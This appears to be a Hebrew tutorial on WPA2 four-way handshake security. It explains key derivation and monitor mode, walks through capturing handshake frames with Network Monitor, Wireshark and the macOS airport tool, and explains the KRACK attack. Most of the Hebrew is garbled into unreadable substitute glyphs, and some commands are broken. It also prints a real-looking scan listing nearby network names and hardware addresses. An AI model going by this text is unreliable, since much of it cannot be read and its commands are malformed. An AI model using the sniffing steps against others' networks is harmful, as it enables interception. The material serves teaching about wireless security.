¶  ˸˧ˮ˷-  ˵˧ˤ˥ˬ ˣˮ˧˞˷) ˧ˮˣˡˤ ˫˶ˣˠ ˫ˣ˷˷ ˸˰ˡ˪ ˪˩ˣ˧ ˸ˬ˞ˬˢ ˡ˴ˢ .˪˟˵˸ˢ˷ ˰ˡ˧ˬˢ ˸ˣ˧˦ˮ˸ˣ˞ ˸˞

 (˥˸˲ˬˢ ˸˞.˥˪ˣ˷ˢˬ ˢ˞˴˧˷ ˶˥˞˪ ˰˧ˠˢ˷ ˰ˡ˧ˬˢ ˸˞ ˨˶˰ ˞˪ 

 ˤ˞˶˥˞˪ :˪˰ ˦˟ˬˬ ˢ˞˶ˮ ˨˧˪ˢ˸ˢ ˨˧˞ ˢ˞˶ˮ ˣ˞ˣ˟ ,ˢˤˢ ˱˧˩ˢ ˪˩ 

 

 :˶ˣ˵ˬ]2004-https://en.wikipedia.org/wiki/IEEE_802.11i[ 

:˫ˢ ˫˧˟˪˷ˢ 

˭ˣ˷˞˶ˢ ˟˪˷˟ :˫˧˷˶˸˟) ˧˞˶˵˞ ˶˲˯ˬ ˪˪ˣ˥ˬ ˟˸ˮˢ ,˧ˡˬ ˶˸ˣ˧ ˢ˶ˣ˵ ˞˪ ,ANonce ˣ˸ˣ˞ ˥˪ˣ˷ˣ (

 ˫˷˟ ˰ˣˡ˧ ˫ˠ ˢˤˢ ˟˪˷ˢ .˥ˣ˵˪˪Assosiation. 

¶ ˧ˮ˷ˢ ˟˪˷˟ˢ ˸˞ ˶˴˧˧˪ ˥ˣ˵˪ˢ ˪˰ ,-PTK  :˸˶ˣ˩ˤ˸)Pairwise Transient Keyˢ ˸˞ ˪˟˧˵˷ ˶˥˞˪ˣ ,(-

Nonce  ˟˸ˮˢ ˪˪ˣ˥˷- :˷ˣ˶ˡˢ ˰ˡ˧ˬˢ ˪˪˩ ˸˞ ˣ˧ˡ˧˟ ˷˧ 

o ˢ ˸˞-PMK ˢ ˣ˞-PSK  ˶ˡˠˣˢ˷ ˢ˧˴˵˧˦ˮ˸ˣ˞ˢ ˸˶˷ ˸ˣ˰˴ˬ˞˟ ˣ˞ / ˣˡ˟˪ ˶˴˧˧˪ ˰ˡˣ˧ ˞ˣˢ

˸˷˶˪ 

o ˢ ˸˞-Nonce  :˫˧˷˶˸˟) ˣ˪˷ˬ ˧˞˶˵˞ ˶˲˯ˬ ˪˪ˣ˥˪ ˵˶ ˣ˧˪˰˷ ˨˩ ˪˟˧˵ ˰ˠ˶ˢ ˞ˣˢ ˟˸ˮˢ ˪˷

SNonce( 

o ˢ ˸ˣ˟ˣ˸˩ ˸˞-MAC ˢ ˸˟ˣ˸˩ ˸˞ˣ ˪˟˧˵˷ ˢ˪˧˟˥ˢˬ ˞˧˴ˣˢ˪ ˰ˡˣ˧ ˞ˣˢ ˟˸ˮˢ ˪˷-MAC  ˣ˪˷

.˰ˡˣ˧ ˞ˣˢ ˣˬ˴˰ 

ˢ ˸˶˧˴˧ ˶˥˞˪-PTK  ˟˸ˮ˪ ˥˪ˣ˷ ˥ˣ˵˪ˢTAG  :˫˧˷˶˸˟)MIC˟ ˷ˣˬ˧˷ ˧"˰ ˶˴ˣˮ˷ (-PTK˪ ˱˯ˣˮ˟ .-

Nonce  :˫˧˷˶˸˟) ˷ˬ˸˷ˢ ˣ˟˷SNonce( 

https://en.wikipedia.org/wiki/IEEE_802.11i-2004
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¶ ˧˷˧˪˷ˢ ˟˪˷˟ˢ ˸˞ ˸˞ ˪˟˵ˬ ˟˸ˮˢ ,-SNonce ˢ ˸˞ ˣ˸ˣ˰˴ˬ˞˟ ˶˴˧˧ˬˣ ˥ˣ˵˪ˢˬ-PTK ˸ˣˬ˧˞ ˰˴˟ˬ .

ˢ ˪˷-MIC ˢ ˸˞ ˥ˣ˵˪ˢˬ ˪˟˧˵ ˞ˣˢ˷ ˰ˠ˶˟)-SNonceˢ ˸˞ ˪˪ˣ˥˪ ˪ˣ˩˧ ˞ˣˢ ,-PTK , ˪˰ ˪˧˰˲ˢ˪

ˢ ˪˷ ˧ˣ˪ˠˢ ˵˪˥ˢ-MIC ˢ ˸˧˴˵ˮˣ˲ ˸˞-MAC  ˪˟˧˵˷ ˧˲˩ ˣ˪ ˢ˲˧˴˷ ˢˬ ˸˞ ˪˟˵ˬ ˞ˣˢ ˭˩˞˷ ˸ˬ˞˪ˣ

.(ˢ˴˵ˢ ˸ˡˬ˰ˬ  ˪˪ˣ˥ˬ ˟˸ˮˢ ˢˤ ˟˪˷˟MIC  ˫ˠ ˨˶ˣ˴ˢ ˸ˡ˧ˬ˟ˣ) ˣˬ˴˰ ˪˷ˬGTK ˢ ˨ˣ˸ˬ-GMK (

.ˢ˴˵ˢ ˸ˡˬ˰˪ ˫˸ˣ˞ ˥˪ˣ˷ˣ 

 

¶ ˧˰˧˟˶ˢ ˟˪˷˟˪ ˸ˣˬ˧˰ ˸˰˴˟ˬ ˢ˴˵ˢ ˸ˡˬ˰ ,-MIC  ˶˟ˣ˰ ˢˤ ˟˪˷ˣ ˢˡ˧ˬ˟ˣ .˸˶˷ˢˬ ˪˟˵˸ˢ˷

 ˢ˥˪˴ˢ˟-  ˸˥˪ˣ˷ ˢ˴˵ˢ ˸ˡˬ˰Ack. 

ˢ ˸˞ ˢˮ˧˵˸ˢ ˢ˴˵ˢ ˸ˡˬ˰˷ ˶˥˞˪-PTKˢ :˫˧˷ˡ˥ ˸ˣ˥˸˲ˬ ˢ˷ˣ˪˷ ˣˮˬˬ ˶ˣˤˠ˸ ˞˧ˢ ,-KCK  ˪˷ ˶ˣ˴˧˵)

Key Confirmation Key ˫˷˟ ˥˸˲ˬ ,(KEK  ˪˷ ˶ˣ˴˧˵)Key Encryption Keyˢ ˸˞ˣ (-TK  ˪˷ ˶ˣ˴˧˵)

Temporal Key ˧ˮ˷˟ .(ˢ ˧˩˧˪ˢ˸ ˪˰ ˢˮˠˢ ˸˟ˣ˦˪ ˷ˣˬ˧˷ ˢ˷˰˸ ˞˧ˢ ˫˧ˮˣ˷˞˶ˢ ˸ˣ˥˸˲ˬˢ-Handshake 

˟ˣ-TK  ˢˮ˲˴ˢˢ ˫˸˧˶ˣˠ˪˞˟ ˷ˣˬ˧˷ˢ ˸˶ˤ˰˟ ˰ˡ˧ˬˢ ˸ˮ˲˴ˢ ˶ˣ˦˵ˣ ˪ˣ˥˸˧˞ ˸˟ˣ˦˪ ˷ˣˬ˧˷ ˢ˷˰˸ ˞˧ˢ

 ˭ˣˠ˩) ˸˷˶˪ ˰˟˵ˮ˷TKIP  ˣ˞CCMP .(˶ˬ˞ˬˢ ˸˧˷˞˶˟ ˶˟˯ˣˢ ˫ˢ˧˪˰ 

 ˧˪ˣ˵ˣ˦ˣ˶˲ˬ ˡ˥˞˟ ˷ˣˬ˧˷ ˢ˷˰˸ ˢ˴˵ˢ ˸ˡˬ˰˷ ˫˰˲ ˪˩˟˟ ˶ˣˬ˧˷ ˢ˷˰˧ ,ˣ˪˪ˢ ,ˢˮ˲˴ˢˢ-TK  ˫˰ ˶ˤˠˮ˷

Counter  ˢ˥ˣ˦˟ ˢˡˣ˟˰ ˨˷ˬˢ ˶˷˲˞˧˷ ˢˬ ,˪ˣ˥˸˧˞ ˶ˣ˦˵ˣ ˣ˸ˣ˞˟ ˷ˣˬ˧˷ ˢ˷˰˧ ˞˪ ˧˩ ˥˦˟ˣ˧ ˨˩ˣ ,ˢ˪ˣ˰

 .ˢˮ˲˴ˢ ˭ˣˮˠˮˬ ˣ˸ˣ˞ ˫˰˟ ˶˟ˣˡˬ ˡˣ˰ ˪˩-PTK ˟ ˷ˣˬ˧˷ ˢ˷˰ˮ ˡˣ˰ ˪˩ˣ ,˷ˣˬ˧˷ ˣ˟ ˢ˷˰ˮ ˞˪˷ ˷ˡ˥-

Counter - ˥ˣ˦˟ ˸˷˶ˢˣ ˪ˣ˵ˣ˦ˣ˶˲ˢ ,ˠˣ˞ˡ˪ ˢˬ ˭˧˞.˫˧ 

ˢ˵˧˦˵˶˲ ˸˴˵ 

˫˧˦˧˟ ˫˧˲˧ˮ˯ˬ 

 ˨˧˞ ˪˰ ˸ˣ˟˶ ˟˸˩ˮ .˪˰ˣ˲˟ ˰˴˟˸ˬ ˢˤ ˨˧˞ ˢ˞˶ˮ ˣ˞ˣ˟ ,(˰ˬ˷ˬ ˧˸˶˸) ˶˧ˣ˞˟ ˦˰ˬ ˞˪ ˣˮ˶˟˧ˡ˷ ˧˶˥˞

˟ ˱˧ˮ˯ˢ˪-Monitor Mode  ˸˥˸Linux ˟ ˸˞ˤ ˰˴˟˪ ˨˧˞ ˪˰ ˪˟˞-Windows  ˸ˣ˷˰˪ ˶˥˟ˮ ˭˩˪ˣ .˞˪ˣ ˦˰ˬ˩

 ˭˩ ˧ˮ˲˪ ˨˞ .ˣˤ ˢ˪˰˲ˢ ˸˩˶˰ˬ ˸˥˸ ˸˞ˤ-  ˶ˬˣ˞ ˢˤ ˢˬMonitor Mode? 

 ˭˧˟ ˫˧˪˟˪˟˸ˬ ˦˰ˬ ˞˪Monitor Mode  ˭˧˟˪Promiscuous Mode  .˫˧˧ˮ˷ˢ ˭˧˟ ˶˷˵ ˨˩ ˪˩ ˭˧˞˷ ˸ˣ˶ˬ˪

-˟Promiscuous Mode  ˭ˮ˧˞˷ ˰ˡ˧ˬ ˸ˣ˪˧˟˥ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˸ˣ˪˰ˢ˪ ˸˷˶ˢ ˯˧˦˶˩ˬ ˷˵˟ˮ ˣˮ˞

 ˞ˬˠˣˡ˪) ˢ˧˪˞ ˸ˣˡ˰ˣ˧ˬ- ˢ ˸˟ˣ˸˩˷ ˸ˣ˪˧˟˥-MAC ˮ˷ ˸ˮˬ ˪˰ (ˣˮ˧˪˞ ˸ˣˡ˰ˣ˧ˬ ˞˪ ˭ˢ˪˷ ˸˞ ˸ˣ˞˶˪ ˪˩ˣ

˪˞ ˸˷˶ ˫˧˯˧˦˶˩˟ ˭ˢˣ ˫˧ˣˣ˵ ˸˷˶ ˧˯˧˦˶˩˟ ˭ˢ ˣ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ˷ ˟˴ˬ ˣˢˤ ,˭ˮ˩ˣ˸-.˫˧˧˦ˣ˥ Monitor

Mode ˪˞ ˸˷˶ ˧˯˧˦˶˩˪ ˧ˡˣ˥˧˧ ˟˴ˬ ˞ˣˢ- ˰ˡ˧ˬ ˸ˣ˪˧˟˥ ˣˮ˪ ˶˧˟˰ˢ˪ ˸˷˶ˢ ˯˧˦˶˩˪ ˫˧˶ˣˬ ˣˮ˞ ˣ˟ˣ ,˫˧˧˦ˣ˥

 ˭˸˧ˮ ˫ˢ˟˷ ˫˧ˮˣ˷ ˫˧˟˴ˬ ˢ˰˟˷ ˨ˣ˸ˬ ˡ˥˞ ˟˴ˬ ˣˮ˧ˢ ˢˤ ˟˴ˬ .˸˷˶ ˱˞˪ ˶˟ˣ˥ˬ ˣˮ˧˞ ˞ˣˢ ˶˷˞˩ ˫ˠ

˪˞ ˸˷˶ ˧˯˧˦˶˩ ˪˧˰˲ˢ˪-:˫˧˧˦ˣ˥ 

¶ Master 

¶ Managed 
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¶ Ad hoc 

¶ Mesh 

¶ Repeater 

¶ Promiscuous 

¶ mode Monitor 

 ˟˴ˬ ,˞ˬˠˣˡ˪) ˡˣ˞ˬ ˫˧ˮ˧˧ˮ˰ˬ ˫˧˟˴ˬˢ ˶˞˷Master ˪ ˸˷˶ˢ ˯˧˦˶˩ ˸˞ ˨ˣ˲ˢ˪ ˶˷˲˞ˬ-Access Point ,

-xRepeater .ˡˣ˰ ˫ˢ˧˪˰ ˦˶˲ˮ ˞˪ ˭˩˪ˣ ˶ˬ˞ˬˢ ˲ˣ˵˯˪ ˶˟˰ˬ ˫ˢ ˨˞ ,(˸ˬ˧˧˵ ˸˷˶ ˫˯˶˲˪ ˣˮ˪ ˶˷˲˞ˬ 

" ˢˮ˩ˣ˸˟ ˷ˬ˸˷ˮ ,ˢ˲ˮ˯ˢˢ ˰ˣ˴˧˟ ˸˟ˣ˦˪ .˪˧˥˸ˮ ˣ˞ˣ˟Network Monitor ˸˶˟˥ ˪˷ "Microsoft 

 ˢˮ˧ˢ ˢ˪˷ ˢˮˣ˶˥˞ˢ ˞˯˶ˠˢ (?ˢ˞ ,˰˧˸˲ˬ)3.4 :˞˟ˢ ˶ˣ˷˧˵ˢˬ ˢ˸ˣ˞ ˡ˧˶ˣˢ˪ ˭˸˧ˮˣ 

https://www.microsoft.com/en-us/download/details.aspx?id=4865 

 ˢ˦ˬ˪ ˪˞ˬ˷ ˡ˴˟ .ˢˮ˩ˣ˸ˢ ˸˞ ˣ˪˧˰˲ˢ:ˢˤ˩ ˣˢ˷ˬ ,ˢ˸ˢ˧ˤ ˢˮ˩ˣ˸ˢ˷ ˸˷˶ˢ ˧˯˧˦˶˩ ˫˩˪ ˰˧˲ˣˢ˪ ˫˧˶ˣˬ˞ 

 

 ˫˩˪˷ ˸˷˶ˢ ˧˯˧˦˶˩ ˸˞ ˢˢˤˬ ˞˪ ˢˮ˩ˣ˸ˢ ˫˞]-  ˣ˰˴˟Logoff/Logon [˷ˬ˸˷ˬ˪ 

ˢ ˯˧˦˶˩ ˸˞ ˣ˶˸˞-Wireless ˟ ˣ˶˥˟ˣ ˫˧ˬ˰˲ ˣ˧˪˰ ˣ˴˥˪ ,˫˩˪˷-"Scanning Options:" 

 

˟ ˣˮˬ˯ ,˫˩˪ ˥˸˲˧˷ ˦˧˶˲˸˟-"V" ˢ˧˴˲ˣ˞ˢ ˸˞ "Monitor ModeSwitch to  ˫˩˪ ˥˸˲˸˷ ˢ˧˴˲ˣ˞˟ˣ "

˟ ˣ˶˥˧˟-" Scan in layer(s) and channels) ˪˰ ˣ˴˥˪ .˫˧˴ˣ˶˰ˢ ˪˪˩˟ˣ ˫˧˶ˡ˸ˢ ˪˪˩˟ ˣ˶˥˧˟ ˢ˸˰ ˸˰˪ ,"(

Apply ˪ ˣ˶˟˰˸˷ ˰ˠ˶˟˷ ˟˪ ˣˬ˧˷)-Monitor Mode (˸˰˩ ˫˧˶˟ˣ˥ˬ ˢ˸˞ ˢ˧˪˞ ˸˷˶ˢˬ ˣ˵˸ˮ˸˸ ˫˸˞.  

https://www.microsoft.com/en-us/download/details.aspx?id=4865
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ˢ ˪˷ ˢ˦ˬ˪ ˭˧ˬ˧ ˡ˴˟ ˧˟ˣ˧˥ ˧ˣˣ˧˥ ˪˟˵˪ ˫˧˶ˣˬ˞ ˫˸˞ ˪˩˟ ˸ˣ˪˧˰˲ ˢˢˤˬ ˯˧˦˶˩ˢ˷ ˨˩ ˪˰ ˢˡ˧˰ˬ˷ ˭ˣ˪˥

:˫˧˴ˣ˶˰ˣ ˫˧˶ˡ˸ ˧ˮˬ 

 

 ,˥ˣ˸˲ ˭ˣ˪˥ˢ ˸˞ ˣ˶˧˞˷ˢ ˣ˶˰ˤˬ˟ ˣ˶˥˧˟ .ˢˮ˩ˣ˸ˢ ˪˷ ˧ˮˣ˷˞˶ˢ ˡˣˬ˰˪ ˣ˶ˤ˧˥ˣ ˣ˸ˣ˞-"New Capture ˫˷ˣ "

-˟Start ˞ˬˠˣˡ˪) ˸˷˶˪ ˸˶˥˞ ˢ˴˵ ˸ˡˬ˰ ˣ˶˟˥ˣ ˣ˵˸ˮ ,˫˧˲˧ˮ˯ˬ ˫˸˞˷ ˭ˬˤ˟ ,˸˰˩ .-  ˧˶˞˪ˣ˪˯ˢ ˶˧˷˩ˬˢ

 ˸˥˸ .(˫˩˪˷Frame Summary :˸ˣ˴˶ ˸ˣ˪˧˟˥ ˸ˣ˞˶˪ ˪˧˥˸ˢ˪ ˫˧˶ˣˬ˞ ˫˸˞ 

 

˩ ˸ˣˢˣˤˬˢ ˸ˣ˪˧˟˥ ˸ˣ˞˶˪ ˫˧˶ˣˬ˞ ˫˸˞ ,˭ˣ˩ˮ ˪˩ˢ ˫˸˧˷˰ˣ ˢˡ˧ˬ˟-"WiFi ˧˟ˠ ˪˰ ˸ˣ˶˟ˣ˰ˢ ˸ˣ˪˧˟˥ ˞˪ˣ "IP 

 ˭ˣˠ˩)HTTP, TCP, UDP  ˪˰ ˣ˴˥˪ ˸ˣ˶˟˥˸ˢˢ ˶ˬˠ˟ .('ˣ˩ˣStop  ˳˟ˣ˵˪ ˢ˞˴ˣ˸ˢ ˸˞ ˣ˶ˬ˷ˣpcap. 
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 ˫˰ ˢ˲ˮ˯ˢˢ ˸˞ ˣ˥˸˲Wireshark ˢ ˵˷ˬˬˢ ˡˣ˥˧˧˟ ,˶˸ˣ˧ ˥ˮ ˦˪˥ˢ˟ ˷˧˶˩ˢ ,˸ˣ˷˰˪ ˢˬ ˭˧˞)-

Legacy˩ ˸ˣˢˣˤˬˢ ˸ˣ˪˧˟˥ ˸ˣ˞˶˪ ˫˧˶ˣˬ˞ ˫˸˞ .(...-802.11:ˣ˪˞ ˭ˣˠ˩ , 

 

ˢ ˨˧˪ˢ˸ ˸˞ ˸ˣ˞˶˪ ˸ˮˬ ˪˰-4Way Handshake" :˶˦˪˧˲ˢ ˧˲ ˪˰ ˣˮˮ˯ ,eapol ˪˷ ˶ˣ˴˧˵) "Extensible 

Over LAN Protocol(Authentication  ?˶˟˥˸ˢ˪ ˪˧˥˸ˬ ˪˩ˢ ˨˧˞ ˫˧˞ˣ˶ ,J 
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˟ ˫˧˟˪˷ˢ ˸˰˟˶˞ ˸˞ ˸ˣˢˤ˪ ˫˧˰ˡˣ˧ ˣˮ˞˷ ˢ˞˶ˮ ˣ˞ˣ˟-PCAP ˪˟˵˪ ˫˧˶ˣˬ˞ ˣˮ˞ ˭ˣ˷˞˶ˢ ˟˪˷˟ ,Nonce 

ˢˬ-AP: 

 

ˢ ˸˞ ˸˪˪ˣ˥ˬ ˢ˴˵ˢ ˸ˡˬ˰ ,˧ˮ˷ˢ ˟˪˷˟-GTK ˸˥˪ˣ˷ˣ ,MIC ˢ ˫˰ ˡ˥˧˟-Nonce :ˢ˪˷ 
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 ˪˪ˣ˥ˬ ˟˸ˮˢ ,˞˟ˢ ˟˪˷˟MIC ˢ ˫˰ ˡ˥˧˟ ˸ˣˬ˧˞ ˸˟ˣ˦˪ ˢ˴˵ˢ ˸ˡˬ˰˪ ˥˪ˣ˷ˣ ˣˬ˴˰ ˪˷ˬ-GTK :˶˴˧˷ 

 

ˢ ˸˥˧˪˷ ,˭ˣ˶˥˞ˢ ˟˪˷˟ˣ-Ack ˢ ˸˞ ˢ˶˷˧˞ ˢ˴˵ˢ ˸ˡˬ˰˷ ˨˩ ˪˰ ˢ˶ˣˬˢ-MIC ˟˸ˮˢ ˪˷: 

 

 ˭˞˩ ˡ˰˷ ˢ˞˶ˮ- !ˢ˲˵˸ˬˢ ˪˰ ˶˟ˡ˪ ˪˧˥˸ˢ˪ ˶˷˲˞˷ ˢ˞˶ˮ .˶ˣˬˠ ˶ˡ˯˟ ˣˮ˪˷ ˢˮ˟ˢˢ ˸ˬ˶ 
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 ˸˶ˤ˰˟ ˸˶ˣ˷˵˸ ˶ˣ˦˧ˮˣ ˢ˦˪˵ˢMac 

 ,˰˧˸˲ˬ ˧˧ˡ ˭˲ˣ˞ˢMacOS  ˪˷ ˸ˣ˪˵ ˢ˸ˣ˞˟ ˶ˣ˦˧ˮˣˬ ˟˴ˬ˪ ˧ˣˮ˟ˢ ˫˞˸ˬˢ ˸˞ ˯˧ˮ˩ˢ˪ ˣˮ˪ ˸˶˷˲˞ˬ

 ˪˰ ˸˧ˬ˵ˣˬˢ ˸˷˶ˢˬ ˵˸ˮ˸ˢ˪ ˨˶ˣ˴ ˢ˧ˢ˧ ˞˪ ˱˯ˣˮ ˸˶ˣ˷˵˸ ˯˧˦˶˩ ˸˶ˤ˰˟˷ ˭˟ˣˬ˩ .˫˧˧ˮˣ˴˧˥ ˫˧ˬ˞˸ˬ

˟ ˢ˧˴˵˧˪˲˞ˢ .˶˦ˮ˪ ˸ˮˬ-MacOS  ˸˞˶˵ˮ ˢˤ ˸˞ ˸ˣ˷˰˪ ˸˰ˡˣ˧˷aiport :˭˞˩ ˸˞˴ˬˮˣ 

/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport  

:ˢˮ˩ˣ˸˪ ˶ˣ˷˧˵ ˶˴˧˧ˮ ˭ˬˤ ˣˮ˪ ˨ˣ˯˥˪ ˧ˡ˩ 

sudo ln - s / System / Library / é/ Versions / Current / Resources / airport / usr / local / bin / airport  

 ˫˧˯ˣˬ˰ ˫˧˴ˣ˶˰ ˢˤ˧˞ ˭˧˟ˢ˪ ˪˩ˣˮ˷ ˧ˡ˩ ˣ˧˷˩˰:˶ˣˤ˞˟ ˸ˣ˸˷˶ˢ ˸˞ ˵ˣ˶˯ˮ ˫˧ˮˣ˸ˮ ˯ˣ˲˸˪ ˪˧˥˸ˢ˪ˣ ˶˸ˣ˧ 

sudo airport en0 - s 

 

hostname :~  username$ sudo airport en0 - s 

  SSID              BSSID                 RSSI CHANNEL HT CC SECURITY ( auth / unicast / group)  

  AIS SMART Login        2c : 5d: 93: 96: 0f : 6c  - 90  136 , - 1  Y  US  WPA2 ( 802.1x / AES/ AES)  

  AIS SUPER WiFi         2c : 5d: 93: 56: 0f : 6c  - 88  136 , - 1  Y  US  NONE  

  true_home5G_4e8       94: 09: 37: 99: f4 : ec - 88  60      Y  US  WPA2 ( PSK/ TKIP , AES/ TKIP )  

  true_home2G_de8       a0 : 72: 2c : 95: 1d: e8 - 86  11      Y  --   WPA2( PSK/ TKIP , AES/ TKIP )  

  SPICYDISC           82: 2a: a8: 8b: 50: b6 - 78  157 ,+ 1  Y  --   WPA2( PSK/ AES/ AES)  

  Kronus5            94: 10: 3e: 17: 31: a8 - 69  36      Y  --   WPA2( PSK/ AES/ AES)  

  CMG            ec : c8 : 82: fb : 02: b0 - 91  11      N  TH  WPA ( 802.1x / TKIP / TKIP )  

  HUAWEI_BEETHOVEN_8919 b0: 89: 00: 2e: fa : 3a - 69  6       Y  TH  WPA2 ( PSK/ AES/ AES)  

  SPICYDISC           80: 2a: a8: 8a: 50: b6 - 63  6       Y  --   WPA2( PSK/ AES/ AES)  

  CMG- Guest            64: d8: 14: ef : 24: e3 - 64  6       Y  TH  NONE  

  CMG            64: d8: 14: ef : 24: e0 - 64  6       N  TH  WPA ( 802.1x / TKIP / TKIP )  

  Kronusguest            96: 10: 3e: 17: 31: a8 - 54  2       Y  --   NONE 

  Kronus2            94: 10: 3e: 17: 31: a7 - 54  2       Y  --   WPA2( PSK/ AES/ AES)  

hostname :~  username$  

 ˳˟ˣ˵˪ ˟ˣ˸˩˪ ˪˧˥˸ˢ˪ ˭˸˧ˮ ˭˞˩ˬPCAP :˸˶ˤ˰˟ 

hostname :~  username$ sudo airport en0 sniff 1  

Password:  

Capturing 802.11 frames on en0.  

^C 

Session saved to /tmp/airportSniffuwlOyq.cap.  

:ˢ˞˴ˣ˸ˢˣ 
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 ˪˰ ˶˟ˡˮ ˣ˞ˣ˟KRaCK 

ˢ ˸˲˧˵˸-4Way Handshake 

ˢ ˨˧˪ˢ ˡ˴˧˩ ˸˧˯˧˯˟ˢ ˢˮ˟ˢˢ ˸˞ ˣˮ˧˸ˣ˷˶ˡ ˷˧˷ˬ ,˸˰˩-Handshake ˟-802.11i  ˢ˲˧˞ ˭˧˟ˢ˪ ˪˩ˣˮ .ˡ˟ˣ˰

 ˢ˲˵˸ˬˢ ˸˪˴ˮˬ ˢ˸ˣ˞˷ ˢ˧˰˟ˢ ˢˮˣˬ˦KRaCK . 

 .˫ˢ˧ˮ˧˟ ˸ˣ˥˸˲ˬ ˱˧˪˥ˢ˪ˣ ˦˧˪˥ˢ˪ ˟˸ˮˢˣ ˢ˴˵ˢ ˸ˡˬ˰ ˪˰ ,˸˷˶˪ ˸ˣ˶˟˥˸ˢˢ ˸˰˟˷ ˣˮ˧˞˶ ˢ˩ ˡ˰ ˤ˞

ˢ ˨˧˪ˢ˸ ˪˷ ˫˧˷˶˸ˢ ˸˞ ˣˮ˧˞˶-4Way Handshake  ˪˰ ˵ˬˣ˰˪ ˶˸ˣ˧ ˸˴˵ ˪˩˸˯ˮ ˣ˞ˣ˟ .˫˧˟˪˷ˢ ˸˞ˣ

ˤ˪ ˪˩ˣˮ˷ ˧ˡ˩˟ ˫˧˟˪˷ˢ.˪˷˩ˢ ˶˸˸˯ˬ ˭˩˧ˢ ˸ˣˢ 

 ˶˸ˣ˧ ˦˶ˣ˲ˬ ˵˶ ,˶˩ˣˬ ˨˧˪ˢ˸ ˣ˸ˣ˞ ˪˷ ˫˧˷˶˸ ˭˪ˢ˪-  ˯˥˧˧˸ˮ ˟ˣ˶˵ˢ ˵˶˲˟ ,˫ˢ ˫ˠ ˫˧˪ˣ˪˩ ˫˧˟˪˷ˢ ˧˸˸

:˫˧˷˶˸ˢ ˪˷ ˭ˣ˷˞˶ˢ ˵˪˥˪ ˵˶ 

 

 :˶ˣ˵ˬ]https://papers.mathyvanhoef.com/ccs2017.pdf[ 

https://papers.mathyvanhoef.com/ccs2017.pdf
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 ˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ ,˫˧˷˶˸ˢ ˧˲˪˧˰˧˟˶ˢ ˟˪˷ˢ ˶ˬˠ˟ ˵˶ ˢ ˨˧˪ˢ˸ ˪˷-Handshake  ,(˫˧˷˶˸˟ ˧ˮ˷ˢ ˵˪˥ˢ)

ˢ ˸˞ ˫˧ˮ˧˵˸ˬ ˫˧ˡˡ˴ˢ ˧ˮ˷-PTK ?˭˞˩ ˢ˧˰˟ˢ ˢˬ .ˢ˥˧˷ˢ ˸˞ ˫˧˰˴˟ˬ ˫˸˶ˤ˰˟ˣ ˸ˣ˥˸˲ˬˢ ˸˞ ˫˧˶ˤˣˠ .

˟ ˶˟ˣˡˬ ,˶ˣˬˠ ˶ˡ˯˟ ˪˩ˢ ˰ˠ˶˩-PTK ˬ ˣ˸ˣ˞ ˣ˶˴˧ ˶˷˞ ,˷ˡ˥-Nonce- ˫˧ˮ ˞˪˷ˣ ˣ˪˧˶ˠˢ ˢ˸˰ ˢˤ˷ ˢ˷˰

ˢ˩ ˡ˰ ˷ˣˬ˧˷ ˫ˢ˟ .˶ˡ˯˟ ˪˩ˢ ˭˩˪ˣ 

˨˞ é ˸˷˶˟ ˶˟ˣˡˬ˷ ˪˪ˠ˟Wireless ˞˪ ˢ˦˧˪˵ˢ ˫ˢ˟ ˫˧˟˴ˬ˟ ˫ˠ ˨ˣˬ˸˪ ˡ˰ˣˮ ˪ˣ˵ˣ˦ˣ˶˲ˢ˷ ˪˪ˠ˟ˣ ,

 ˫˰ ˫ˠ ˡˡˣˬ˸ˢ˪ ˰ˡ˸ˣ ˸˧˦˯ˣ˟ˣ˶ ˢ˧ˢ˸˷ ˨˩ ˣ˪˷ ˫˧˟˴ˬˢ ˸ˮˣ˩ˬ ˸˞ ˣˮˮ˩˸ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˧˯ˡˮˢˬ ,ˢ˵˪˥

 ˢ˪˞˩ ˫˧˟˴ˬ ˪˧˟˷˟ ˡˣ˥˧˧˟ˣ .˫˧˷˵ ˢ˦˧˪˵ ˧˟˴ˬ- ˞ ˣˮ˪ ˷˧ ˢ˴˵ˢ ˸ˡˬ˰ ˣ˟ ˟˪˷ˢ ,˧˰˧˟˶ˢ ˟˪˷ˢ ˸

 ˸˥˪ˣ˷Ack ˢ ˸˞ ˧˸˪˟˧˵" ˡ˧ˠˢ˪ ˧ˡ˩˟ ˟˸ˮ˪-MIC  ˧ˮ˞ ,ˢ˸˞˷ ˭˰ˣ˦ ˢ˸˞˷ ˧ˬ ˭˩˞ ˢ˸˞ ˧˸ˮ˧˥˟ˬˣ ,˨˪˷

ˢ ˸˞ ˢˮ˧˵˸ˬ-PTK." 

ˢ ˟˧˩˶ ˣ˞ ,˟˸ˮˢ-APˢ ˸˞ ˪˟˧˵ ˞˪ ˞ˣˢ ˡˣ˰ ˪˩˷ ˰ˡˣ˧ ,-Ack  ˭˩˞ ˢ˴˵ˢ ˸ˡˬ˰˷ ˥˧ˮˢ˪ ˪ˣ˩˧ ˞˪ ˞ˣˢ

ˢ ˸˞ ˢ˸ˬ˧˞ˣ ˢ˪˟˧˵-MIC ˩˪ˣ ,ˣ˪˷ ˣ˸ˣ˞ ˸˶ˤ˰˟ ˶˟ˡ˪ ˫˧˪ˣ˩˧ ˫ˢ˷ ˥˧ˮˢ˪ ˪ˣ˩˧ ˞˪ ˞ˣˢ ˭PTK ,˭˩˪ˣ .

ˢ ˸˞ ˪˟˧˵ ˞˪ ˟˸ˮˢˣ ˢˡ˧ˬ˟-Ack  ˰˴˟˪ ˨˧˶˴ ˞ˣˢ ˧˰˧˟˶ˢ ˟˪˷ˢ ˪˷Retransmit  ˟˪˷ ˪˷3 ˪ˣ˩˧ ˞ˣˢ .

 ˢ˪˧˟˥ ˸˞ ˥ˣ˪˷˪3 ˥˧ˮˮ ˧˶˥˞ ˢˡ˰˧˪ ˰˧ˠ˸ ˢ˪˧˟˥ˢˣ ˫˧ˬ˰˲ ˶˲˯ˬ é5  ˰ˠ˶˟ˣ ,ˢ˥˪˷ˮ ˞˧ˢ˷ ˫˧ˬ˰˲

˞˧ˢ ,ˢ˸ˣ˞ ˢ˪˟˧˵ ˢ˴˵ˢ ˸ˡˬ˰˷ ˢ ˸˞ ˭˧˵˸˸-PTK  ˥˪˷˸ˣAck  "˵ˣ˶˧ ˶ˣ˞" ˪˰ ˸ˣ˶ˣˢ˪ ˧ˡ˩˟ ˟˸ˮ˪

